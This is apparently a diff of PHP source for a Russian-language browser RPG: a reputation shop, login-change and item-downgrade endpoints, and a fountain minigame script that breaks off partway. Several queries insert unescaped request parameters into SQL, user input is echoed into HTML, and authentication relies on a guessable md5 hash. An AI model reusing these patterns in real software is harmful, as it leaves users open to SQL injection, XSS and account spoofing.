elseif ($_POST['count'] < 1) { $_POST['count'] =0; $count_ok=0; }
else $count_ok=1;
$dress = mysql_fetch_array(mysql_query("SELECT * FROM `ahero_shop` WHERE `id` = '{$set}' LIMIT 1;"));
if ($count_ok==0) {
echo "<font color=red><b>Неправильно введено количество</b></font>";
//$good = 0;
}
elseif (($dress['massa']*$_POST['count']+$d[0]) > (get_meshok())) {
echo "<font color=red><b>Недостаточно места в рюкзаке.</b></font>";
//$good = 0;
}
elseif($count_ok==1 && ($user['doblest']>= ($dress['point']*$_POST['count'])) && ($dress['count'] >= $_POST['count'])) {
for($k=1;$k<=$_POST['count'];$k++) {
if(mysql_query("INSERT INTO `inventory`
(`opisan`, `prototype`,`owner`,`name`,`type`,`massa`,`point`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`, `koll`
)
VALUES
('{$dress['opisan']}','{$dress['id']}','{$user['id']}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['point']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}',
'{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron2']}','{$dress['bron3']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','{$dress['koll']}'
) ;"))
{
$good = 1;
}
else {
$good = 0;
}
}
if ($good) {
mysql_query("UPDATE `shop` SET `count`=`count`-{$_POST['count']} WHERE `id` = '{$set}' LIMIT 1;");
echo "<font color=red><b>Вы купили {$_POST['count']} шт. \"{$dress['name']}\".</b></font>";
mysql_query("UPDATE `users` set `doblest` = `doblest`- '".($_POST['count']*$dress['point'])."' WHERE id = {$user['id']} ;");
$user['money'] -= $_POST['count']*$dress['point'];
$limit=$_POST['count'];
$invdb = mysql_query("SELECT `id` FROM `inventory` WHERE `name` = '".$dress['name']."' ORDER by `id` DESC LIMIT ".$limit." ;" );
//$invdb = mysql_query("SELECT id FROM `inventory` WHERE `name` = '".{$dress['name']}."' ORDER by `id` DESC LIMIT $limit ;" );
if ($limit == 1) {
$dressinv = mysql_fetch_array($invdb);
$dressid = "cap".$dressinv['id'];
$dresscount=" ";
}
else {
$dressid="";
while ($dressinv = mysql_fetch_array($invdb)) {
$dressid .= "cap".$dressinv['id'].",";
}
$dresscount="(x".$_POST['count'].") ";
}
$allcost=$_POST['count']*$dress['point'];
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$user['id']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."] за ".$allcost." кр. ',1,'".time()."');");
} else {
}
}
else {
echo "<font color=red><b>Недостаточно репутации или нет вещей в наличии.</b></font>";
}
}
?>
<HTML><HEAD>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
<SCRIPT LANGUAGE="JavaScript">
function AddCount(name, txt)
{
document.all("hint3").innerHTML = '<form method=post style="margin:0px; padding:0px;"><table border=0 width=100% cellspacing=1 cellpadding=0 bgcolor="#CCC3AA"><tr><td align=center><B>Купить неск. штук</td><td width=20 align=right valign=top style="cursor: hand" onclick="closehint3();"><BIG><B>x</TD></tr><tr><td colspan=2>'+
'<table border=0 width=100% cellspacing=0 cellpadding=0 bgcolor="#FFF6DD"><tr><INPUT TYPE="hidden" name="set" value="'+name+'"><td colspan=2 align=center><B><I>'+txt+'</td></tr><tr><td width=80% align=right>'+
'Количество (шт.) <INPUT TYPE="text" NAME="count" size=4 ></td><td width=20%>&nbsp;<INPUT TYPE="submit" value=" »» ">'+
'</TD></TR></TABLE></td></tr></table></form>';
document.all("hint3").style.visibility = "visible";
document.all("hint3").style.left = 100;
document.all("hint3").style.top = 100;
document.all("count").focus();
}
// Закрывает окно
function closehint3()
{
document.all("hint3").style.visibility="hidden";
}
</SCRIPT>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#d4d4d4>
<TABLE border=0 width=100% cellspacing="0" cellpadding="0">
<FORM action="city.php" method=GET>
<tr><td><h3><font color=blue>Магазин РЕПУТАЦИИ</font></td><td align=right>
<INPUT TYPE="button" value="Подсказка" style="background-color:#A9AFC0" onclick="window.open('help/shop.html', 'help', 'height=300,width=500,location=no,menubar=no,status=no,toolbar=no,scrollbars=yes')">
<INPUT TYPE="submit" value="Вернуться" name="cp"></td></tr>
</FORM>
</table>
<TABLE border=0 width=100% cellspacing="0" cellpadding="4">
<TR>
<FORM METHOD=POST ACTION="shop.php">
<INPUT TYPE="hidden" name="sid" value="">
<INPUT TYPE="hidden" name="id" value="1">
<TD valign=top align=left>
<!--Магазин-->
<TABLE border=0 width=100% cellspacing="0" cellpadding="0" bgcolor="#A5A5A5">
<TR>
<TD align=center><B>Отдел "<?php
if ($_POST['sale']) {
echo "Скупка";
} else
switch ($_GET['otdel']) {
case null:
echo "Оружие: кастеты,ножи";
$_GET['otdel'] = 1;
break;
case 1:
echo "Оружие: кастеты,ножи";
break;
case 11:
echo "Оружие: топоры";
break;
case 12:
echo "Оружие: дубины,булавы";
break;
case 13:
echo "Оружие: мечи";
break;
case 14:
echo "Оружие: луки и арбалеты";
break;
case 2:
echo "Одежда: сапоги";
break;
case 21:
echo "Одежда: перчатки";
break;
case 22:
echo "&Одежда: легкая броня";
break;
case 23:
echo "Одежда: тяжелая броня";
break;
case 24:
echo "Одежда: шлемы";
break;
case 3:
echo "Щиты";
break;
case 4:
echo "Ювелирные товары: серьги";
break;
case 41:
echo "Ювелирные товары: ожерелья";
break;
case 42:
echo "Ювелирные товары: кольца";
break;
case 5:
echo "Заклинания: нейтральные";
break;
case 51:
echo "Заклинания: боевые и защитные";
break;
case 6:
echo "Амуниция";
break;
case 52:
echo "Руны";
break;
}
?>"</B>
</TD>
</TR>
<TR><TD><!--Рюкзак-->
<TABLE BORDER=0 WIDTH=100% CELLSPACING="1" CELLPADDING="2" BGCOLOR="#A5A5A5">
<?
$data = mysql_query("SELECT * FROM `ahero_shop` WHERE `count` > 0 AND `razdel` = '{$_GET['otdel']}' ORDER by `point` ASC");
while($row = mysql_fetch_array($data)) {
if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; }
echo "<TR bgcolor={$color}><TD align=center style='width:150px'><IMG SRC=\"i/sh/{$row['img']}\" BORDER=0>";
?>
<BR><A HREF="ahero_shop.php?otdel=<?=$_GET['otdel']?>&set=<?=$row['id']?>&sid=">купить</A>
<IMG SRC="i/up.gif" WIDTH=11 HEIGHT=11 BORDER=0 ALT="Купить несколько штук" style="cursor:hand" onclick="AddCount('<?=$row['id']?>', '<?=$row['name']?>')"></TD>
<?php
echo "<TD valign=top>";
showitem ($row, 11);
echo "</TD></TR>";
}
//}
?>
</TABLE>
</TD></TR>
</TABLE>
</TD>
<TD valign=top width=280>
<div style="MARGIN-LEFT:15px; MARGIN-TOP: 10px;">
<CENTER><B>Масса всех ваших вещей: <?php
echo $d[0];
?>/<?=get_meshok()?><BR>
У вас в наличии: <FONT COLOR="blue"><?=$user['doblest']?></FONT> реп.</B></CENTER><hr>
<a href=shop.php>ГОС. МАГАЗИН</a>
<hr>
<div style="background-color:#d2d0d0;padding:1"><center><font color="#oooo"><B>Отделы магазина</B></center></div>
<b>Оружие:</b> <BR>
<A HREF="ahero_shop.php?otdel=1&sid=&0.162486541405194">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;кастеты,ножи</A><BR>
<A HREF="ahero_shop.php?otdel=11&sid=&0.337606814894404">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;топоры</A><BR>
<A HREF="ahero_shop.php?otdel=12&sid=&0.286790872806733">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;дубины,булавы</A><BR>
<A HREF="ahero_shop.php?otdel=13&sid=&0.0943516060419363">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;мечи</A><BR>
<b>Одежда:</b> <BR>
<A HREF="ahero_shop.php?otdel=24&sid=&0.567932791291376">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;шлемы</A><BR>
<A HREF="ahero_shop.php?otdel=23&sid=&0.99133839275569">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;тяжелая броня</A><BR>
<A HREF="ahero_shop.php?otdel=22&sid=&0.520447517792988">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;легкая броня</A><BR>
<A HREF="ahero_shop.php?otdel=3&sid=&0.725667864710179">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;щиты</A><BR>
<A HREF="ahero_shop.php?otdel=21&sid=&0.648260824682342">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;перчатки</A><BR>
<A HREF="ahero_shop.php?otdel=2&sid=&0.76205958316951">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;сапоги</A><BR>
<b>Ювелирные товары:</b> <BR>
<A HREF="ahero_shop.php?otdel=4&sid=&0.321709306035984">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;серьги</A><BR>
<A HREF="ahero_shop.php?otdel=41&sid=&0.902093651333512">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ожерелья</A><BR>
<A HREF="ahero_shop.php?otdel=42&sid=&0.510210803380268">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;кольца</A><BR>
<b>Магия:</b> <BR>
<A HREF="ahero_shop.php?otdel=51&sid=&0.722009624500359">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;боевые</A><BR>
<A HREF="ahero_shop.php?otdel=5&sid=&0.648834385828923">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;разные</A><BR>
<b>Разное:</b> <BR>
<A HREF="ahero_shop.php?otdel=6&sid=&0.925798340638547">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;амуниция</A><BR>
<A HREF="ahero_shop.php?otdel=52&sid=&0.925798340638547">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;руны</A><BR>
</div>
<div id="hint3" class="ahint"></div>
</TD>
</FORM>
</TR>
</TABLE>
</BODY>
</HTML>

55
ajax/change_login.php Normal file
View File

@ -0,0 +1,55 @@
<?
session_start();
if(!isset($_SESSION['uid'])) { die('User not found'); }
include('../config.php');
include('../functions.php');
$bank = mysql_fetch_array(mysql_query('SELECT `id`, `ekr` FROM `bank` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($_POST['bid']).'" LIMIT 1'));
$usid = mysql_fetch_array(mysql_query('SELECT `id` FROM `users` WHERE `login` = "'.mysql_real_escape_string($_POST['log']).'" LIMIT 1'));
$_POST['log'] = iconv("utf-8", "utf-8", $_POST['log']);
if($_POST['user'] && !isset($_POST['true'])) {
if($_POST['bid']) {
if(isset($bank['id'])) {
if($bank['ekr'] >= 25) {
if($_POST['log'] != null) {
if(strtoupper($_POST['log']) == strtoupper("невидимка") || strtoupper($_POST['log']) == strtoupper("мусорщик") || strtoupper($_POST['log']) == strtoupper("мироздатель") || strtoupper($_POST['log']) == strtoupper("архивариус") || strtoupper($_POST['log']) == strtoupper("Благодать") || strtoupper($_POST['log']) == strtoupper("Merlin") || strtoupper($_POST['log']) == strtoupper("Коментатор")) {
echo '<b style=\'color: Red;\'>Регистрация персонажа с ником <b>'.$_POST['log'].'</b> запрещена!</b><br />';
} elseif(strlen($_POST['log']) < 3 || strlen($_POST['log']) > 20 || !preg_match("/^[a-zA-Zа-яА-Я0-9][a-zA-Zа-яА-Я0-9_ -]+[a-zA-Zа-яА-Я0-9]$/", $_POST['log']) || preg_match("/__/", $_POST['log']) || preg_match("/--/", $_POST['log']) || preg_match("/ /", $_POST['log']) || preg_match("/(.)\\1\\1\\1/", $_POST['log'])) {
echo "<b style='color: Red;'>Логин может содержать от 3 до 20 символов, и состоять только из букв русского или английского алфавита, цифр, символов '_', '-' и пробела. <br />Логин не может начинаться или заканчиваться символами '_', '-' или пробелом<br />Также в логине не должно присутствовать подряд более 1 символа '_' или '-' и более 1 пробела, а также более 3-х других одинаковых символов.</b><br />".$_POST['log'];
} elseif(preg_match("[a-zA-Z]", $_POST['log']) && preg_match("[а-яА-Я]", $_POST['log'])) {
echo "<b style='color: Red;'>Логин не может содержать одновременно буквы русского и латинского алфавитов!</b><br />";
} else {
if(!isset($usid['id'])) {
echo 'good';
} else {
echo '<b style=\'color: Red;\'>Данный логин занят ...</b>';
}
}
} else {
echo '<b style=\'color: Red;\'>Введите логин ...</b>';
}
} else {
echo '<b style=\'color: Red;\'>Недостаточно средств ...</b>';
}
} else {
echo '<b style=\'color: Red;\'>Банк не найден ...</b>';
}
} else {
echo '<b style=\'color: Red;\'>Missing params. Code: 02.</b>';
}
} else {
echo '<b style=\'color: Red;\'>Missing params. Code: 01.</b>';
}
if($_POST['true'] == '1') {
if($bank['ekr'] >= 25) {
mysql_query('UPDATE `users` SET `login` = "'.mysql_real_escape_string($_POST['log']).'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
$bank['ekr'] -= 25;
mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1');
echo 'Ваш логин успешно изменен ...';
} else {
echo 'Err';
}
echo 'Тест логин';
}

18
ajax/clan_log.php Normal file
View File

@ -0,0 +1,18 @@
<?php
$errors = array();
$form_data = array();
if(empty($_POST['user'])) $errors['name'] = 'Вы кто?';
if(empty($_POST['hash'])) $errors['name'] = 'Где потеряли Hash?';
if(empty($_POST['sorted'])) $errors['name'] = 'Не понимаю кого искать ...';
if(!empty($errors)) {
$form_data['success'] = false;
$form_data['errors'] = $errors;
} else {
$form_data['success'] = true;
$form_data['posted'] = 'Great';
}
echo json_encode($form_data);
?>

94
ajax/downgrade_art.php Normal file
View File

@ -0,0 +1,94 @@
<?
include('../config.php');
function sums($val, $proc) {
$r = 0;
$flor = (int)$val/100;
$pl = $flor*$proc;
$r += $pl;
return $r;
}
if($_POST['item']) {
if($_POST['user']) {
if($_POST['hash']) {
$uid = (int)$_POST['user'];
$arr = array(
7 => array('cost' => 2000, 'ghp' => 8, 'stat' => 1, 'bron' => 1, 'mf' => 7, 'mindur' => 30, 'minu' => 1, 'maxu' => 1),
8 => array('cost' => 3000, 'ghp' => 10, 'stat' => 1, 'bron' => 1, 'mf' => 10, 'mindur' => 40, 'minu' => 2, 'maxu' => 2),
9 => array('cost' => 7000, 'ghp' => 12, 'stat' => 1, 'bron' => 1, 'mf' => 13, 'mindur' => 50, 'minu' => 3, 'maxu' => 3),
10 => array('cost' => 10000, 'ghp' => 14, 'stat' => 1, 'bron' => 1, 'mf' => 16, 'mindur' => 60, 'minu' => 4, 'maxu' => 4),
11 => array('cost' => 15000, 'ghp' => 16, 'stat' => 1, 'bron' => 1, 'mf' => 19, 'mindur' => 70, 'minu' => 5, 'maxu' => 5),
12 => array('cost' => 36000, 'ghp' => 18, 'stat' => 1, 'bron' => 1, 'mf' => 22, 'mindur' => 80, 'minu' => 6, 'maxu' => 6)
);
$user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `doblest` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1'));
$salt = md5($user['login'].'|'.$user['id']);
if(isset($user['id'])) {
if($_POST['hash'] == $salt) {
$it = (int)$_POST['item'];
$item = mysql_fetch_array(mysql_query('SELECT * FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($it).'" AND `point` > 0 AND `dressed` = 0 LIMIT 1'));
if(isset($item['id']) && ($item['nlevel'] <= 13 && $item['nlevel'] >= 7)) {
$level = $item['nlevel']-1;
if($user['doblest'] >= $arr[$level]['cost']) {
$user['doblest'] -= $arr[$level]['cost'];
mysql_query('UPDATE `users` SET `doblest` = "'.$user['doblest'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1');
if($item['type'] != 3) {
$item['ghp'] -= $arr[$level]['ghp'];
if($item['bron1'] > 0) { $item['bron1'] -= 1; }
if($item['bron2'] > 0) { $item['bron2'] -= 1; }
if($item['bron3'] > 0) { $item['bron3'] -= 1; }
if($item['bron4'] > 0) { $item['bron4'] -= 1; }
if($item['mfkrit'] > 0) { $item['mfkrit'] -= sums($item['mfkrit'], $arr[$level]['mf']); }
if($item['mfakrit'] > 0) { $item['mfakrit'] -= sums($item['mfakrit'], $arr[$level]['mf']); }
if($item['mfuvorot'] > 0) { $item['mfuvorot'] -= sums($item['mfuvorot'], $arr[$level]['mf']); }
if($item['mfauvorot'] > 0) { $item['mfauvorot'] -= sums($item['mfauvorot'], $arr[$level]['mf']); }
if($item['gsila'] > 0) { $item['gsila'] -= $arr[$level]['stat']; }
if($item['glovk'] > 0) { $item['glovk'] -= $arr[$level]['stat']; }
if($item['ginta'] > 0) { $item['ginta'] -= $arr[$level]['stat']; }
if($item['gintel'] > 0) { $item['gintel'] -= $arr[$level]['stat']; }
}
if($item['type'] == 3) {
$item['minu'] -= $arr[$level]['minu']; $item['maxu'] -= $arr[$level]['minu'];
}
$item['nlevel'] -= 1;
if($item['nsila'] > 0) { $item['nsila'] -= 1; }
if($item['nlovk'] > 0) { $item['nlovk'] -= 1; }
if($item['ninta'] > 0) { $item['ninta'] -= 1; }
if($item['nvinos'] > 0) { $item['nvinos'] -= 1; }
if($item['nintel'] > 0) { $item['nintel'] -= 1; }
if($item['nnoj'] > 0) { $item['nnoj'] -= 1; }
if($item['ntopor'] > 0) { $item['ntopor'] -= 1; }
if($item['ndubina'] > 0) { $item['ndubina'] -= 1; }
if($item['nmech'] > 0) { $item['nmech'] -= 1; }
mysql_query('UPDATE `inventory` SET `nlevel` = "'.$item['nlevel'].'", `ghp` = "'.$item['ghp'].'", `bron1` = "'.$item['bron1'].'", `bron2` = "'.$item['bron2'].'", `bron3` = "'.$item['bron3'].'", `bron4` = "'.$item['bron4'].'", `mfkrit` = "'.$item['mfkrit'].'", `mfakrit` = "'.$item['mfakrit'].'", `mfuvorot` = "'.$item['mfuvorot'].'", `mfauvorot` = "'.$item['mfauvorot'].'", `gsila` = "'.$item['gsila'].'", `glovk` = "'.$item['glovk'].'", `ginta` = "'.$item['ginta'].'", `gintel` = "'.$item['gintel'].'", `minu` = "'.$item['minu'].'", `maxu` = "'.$item['maxu'].'", `nsila` = "'.$item['nsila'].'", `nlovk` = "'.$item['nlovk'].'", `ninta` = "'.$item['ninta'].'", `nvinos` = "'.$item['nvinos'].'", `nintel` = "'.$item['nintel'].'", `nnoj` = "'.$item['nnoj'].'", `ntopor` = "'.$item['ntopor'].'", `ndubina` = "'.$item['ndubina'].'", `nmech` = "'.$item['nmech'].'", `maxdur` = "'.$item['maxdur'].'", `duration` = "'.$item['duration'].'" WHERE `id` = "'.$item['id'].'" LIMIT 1');
###
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" понизил уровень предмета: \"".$item['name']."\" id:(".$item['id'].") [$item[duration]/".$item['maxdur']."] за ".$arr[$level]['cost']." реп, до уровня $item[nlevel].', 1, '".time()."')");
###
echo 'success';
} else {
echo 'Недостаточно репутации для операции ...';
}
} else {
echo 'Предмет не найден ... ['.$item['id'].' | '.$item['nlevel'].']';
}
} else {
echo 'Утеря параметров. Код ошибки: 1001001.';
}
} else {
echo 'А вы кто ???';
}
} else {
echo 'Утерян параметр #hash# ...';
}
} else {
echo 'А вы кто ???';
}
} else {
echo 'Выберите предмет!';
}
?>

339
ajax/fontan_luck.php Normal file
View File

@ -0,0 +1,339 @@
<?
include('../config.php');
function add_trv($id) {
$user = mysql_fetch_array(mysql_query("SELECT `align`, `level` FROM `users` WHERE `id` = '{$id}' LIMIT 1"));
$travmalist = array("пробитый череп","разрыв селезенки","смещение позвонков","открытый перелом руки","открытый перелом <вырезано цензурой>","излом носоглотки","непонятные, но множественные травмы","сильное внутреннее кровотечение","раздробленная коленная чашечка","перелом шеи","смещение позвонков","открытый перелом ключицы","перелом позвоночника","вывих позвоночника","сотрясение третьей степени");
$zz = mt_rand(1, 3); $s = 0; $l = 0; $i = 0;
switch($zz) {
case 1: $s = ($user['level'] + 3)*3; break;
case 2: $l = ($user['level'] + 3)*3; break;
case 3: $i = ($user['level'] + 3)*3; break;
}
$trv = $travmalist[mt_rand(0, count($travmalist)-1)];
$time = 60*15;
mysql_query("INSERT INTO `effects` (`owner`, `name`, `time`, `type`, `sila`, `lovk`, `inta`, `vinos`) values ('".$id."', 'Травма &quot;".$trv."&quot;', ".(time()+$time).", '14', '".$s."', '".$l."', '".$i."', '0')");
mysql_query("UPDATE `users` SET `sila` = (`sila`-'".$s."'), `lovk` = (`lovk`-'".$l."'), `inta` = (`inta`-'".$i."') WHERE `id` = '".$id."' LIMIT 1");
}
function paginate_function($item_per_page, $current_page, $total_records, $total_pages) {
$pagination = '';
if($total_pages > 0 && $total_pages != 1 && $current_page <= $total_pages) {
$pagination .= '<ul class="pagination">Страницы: ';
$right_links = $current_page + 3;
$previous = $current_page - 3;
$next = $current_page + 1;
$first_link = true;
if($current_page > 1) {
$previous_link = ($previous == 0) ? 1 : $previous;
$pagination .= '<li class="first"><a href="javascript: void(0);" data-page="1">&laquo;</a></li>';
for($i = ($current_page-2); $i < $current_page; $i++) {
if($i > 0) {
$pagination .= '<li><a href="javascript: void(0);" data-page="'.$i.'">'.$i.'</a></li>';
}
}
$first_link = false;
}
if($first_link) {
$pagination .= '<li class="first active">'.$current_page.'</li>';
} elseif($current_page == $total_pages) {
$pagination .= '<li class="last active">'.$current_page.'</li>';
} else {
$pagination .= '<li class="active">'.$current_page.'</li>';
}
for($i = $current_page+1; $i < $right_links ; $i++) {
if($i <= $total_pages) {
$pagination .= '<li><a href="javascript: void(0);" data-page="'.$i.'">'.$i.'</a></li>';
}
}
if($current_page < $total_pages){
$next_link = ($i > $total_pages)? $total_pages : $i;
$pagination .= '<li class="last"><a href="javascript: void(0);" data-page="'.$total_pages.'">&raquo;</a></li>';
}
$pagination .= '</ul>';
}
return $pagination;
}
function login($uid) {
$user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `klan` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1'));
if(isset($user['id'])) {
$align_img = '<img src="i/align_'.($user['align']?$user['align']:0).'.gif" /> ';
if($user['klan'] != '') {
$clan = mysql_fetch_array(mysql_query('SELECT `id`, `name` FROM `clans` WHERE `id` = "'.$user['klan'].'" LIMIT 1'));
$clan_img = '<img title="'.$clan['name'].'" src="i/klan/'.$clan['name'].'.gif" /> ';
} else {
$clan_img = '';
}
$r = $align_img.$clan_img.' <b>'.$user['login'].' ['.$user['level'].']</b><a href="http://capitalcity.old-dark.ru/inf.php?id='.$user['id'].'" target="_blank"><img src="http://capitalcity.old-dark.ru/i/inf.gif" /></a>';
} else {
$r = 'Невидимка';
}
return $r;
}
function load_winers($sum, $hash) {
if($sum > 0) {
$limit = 'LIMIT '.(int)$sum;
} else {
$limit = '';
}
$r = '<center>Список, кому удалось достать монетки :';
$r .= '<table width="50%" border="1" style="border-collapse: collapse; border: 1px solid #b0b0b0;"><tbody><tr><td style="padding-left: 5px;">Кто</td><td style="text-align: center;">Раз</td><td style="text-align: center;">Когда</td><td style="text-align: center;">Всего кр.</td></tr>';
$sp = mysql_query('SELECT `id`, `usid`, `money`, `time`, `count` FROM `fountain_game` ORDER BY `id` DESC '.$limit.'');
while($pl = mysql_fetch_array($sp)) {
$us = mysql_fetch_array(mysql_query('SELECT `id` FROM `users` WHERE `id` = "'.$pl['usid'].'" LIMIT 1'));
$tm = date('d.m.y h:i:s', $pl['time']);
if($i == 0) {
$i = 1; $color = '#eeeeee';
} else {
$i = 0; $color = '#e7e7e7';
}
$user = login($us['id']);
$r .= '<tr bgcolor="'.$color.'"><td style="padding-left: 5px;">'.$user.'</td><td style="text-align: center;">'.$pl['count'].'</td><td style="text-align: center;">'.$tm.'</td><td style="text-align: center;">'.$pl['money'].'</td></tr>';
}
$r .= '</tbody></table>';
$r .= '<div id="fullwinnerslistlinkbox"><table><tbody><tr><td align="center" valign="middle"><font face="monospace" size="4">v</font><a href="javascript: void(0)" onclick="$(\'#monetWinnersBox\').load(\'/ajax/fontan_luck.php?do=load_winers&hash='.$hash.'&allList=1\', function(){ $(\'#fullwinnerslistlinkbox\').remove(); })">полный список</a><font face="monospace" size="4">v</font></td></tr></tbody></table></div></center>';
unset($pl, $us, $tm, $user);
return $r;
}
function send_wish($hash, $text, $uid) {
if(isset($uid) && $uid > 0) {
if(isset($text)) {
if(strlen($text) < 5) {
echo "<script>growl('Внимание', 'Red', 'Не менее 5 букв в Желании');</script>";
} elseif(strlen($text) > 50) {
echo "<script>growl('Внимание', 'Red', 'Не более 50 букв в Желании');</script>";
} else {
$us = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `level`, `align` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1'));
if(isset($us['id'])) {
if(md5($us['login'].'|'.$us['id']) == $hash) {
$txt = mysql_real_escape_string($text);
if(iconv("utf-8", "utf-8", $txt) != '') {
$addText = iconv("utf-8", "utf-8", $txt);
}
mysql_query('INSERT INTO `fontan_wish` (`uid`, `time`, `wish`) VALUES ("'.$us['id'].'", "'.time().'", "'.$addText.'")');
echo "<script>growl('Внимание', 'Red', 'Ваше желание записано!'); $('#wishFormBox').toggle(); load_wishs(1);</script>";
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
}
} else {
echo "<script>growl('Внимание', 'Red', 'Введите текст Желания');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
}
function cureHps($hash, $uid) {
if(isset($uid) && $uid > 0) {
$us = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `hp`, `maxhp` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1'));
if(isset($us['id'])) {
if(md5($us['login'].'|'.$us['id']) == $hash) {
if(($us['level'] <= 7 || $us['align'] == 2.99) && $us['hp'] < $us['maxhp']) {
$us['hp'] = $us['maxhp'];
mysql_query('UPDATE `users` SET `hp` = "'.$us['hp'].'" WHERE `id` = "'.$us['id'].'" LIMIT 1');
echo "<script>growl('Внимание', 'Red', 'Вы, Испили Водички.');</script>";
} elseif($us['hp'] == $us['maxhp']) {
echo "<script>growl('Внимание', 'Red', 'Ваши силы и так полны.');</script>";
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не можете Испить Водички, уровень слишком высок');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
} else {
echo "<script>growl('Внимание', 'Red', 'Вы не авторизированы');</script>";
}
}
function giveCoin($hash, $uid) {
if(isset($uid) && $uid > 0) {
$us = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `money` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1'));
if(isset($us['id'])) {
if(md5($us['login'].'|'.$us['id']) == $hash) {
if($us['money'] >= 1) {
$us['money'] -= 1;
mysql_query('UPDATE `users` SET `money` = "'.$us['money'].'" WHERE `id` = "'.$us['id'].'" LIMIT 1');
$f = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "fontan_jackpot" LIMIT 1'));
$f['value'] += 1;
mysql_query('UPDATE `variables` SET `value` = "'.$f['value'].'" WHERE `var` = "fontan_jackpot" LIMIT 1');
mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$us['id']}', '\"".$us['login']."\" бросил монетку в фонтан.', 1, '".time()."')");
echo "<script>growl('Внимание', 'Red', 'Вы бросили монетку в Фонтан.<br />Монет в фонтане : $f[value] шт.');</script>";
echo "<script>howMuch();</script>";
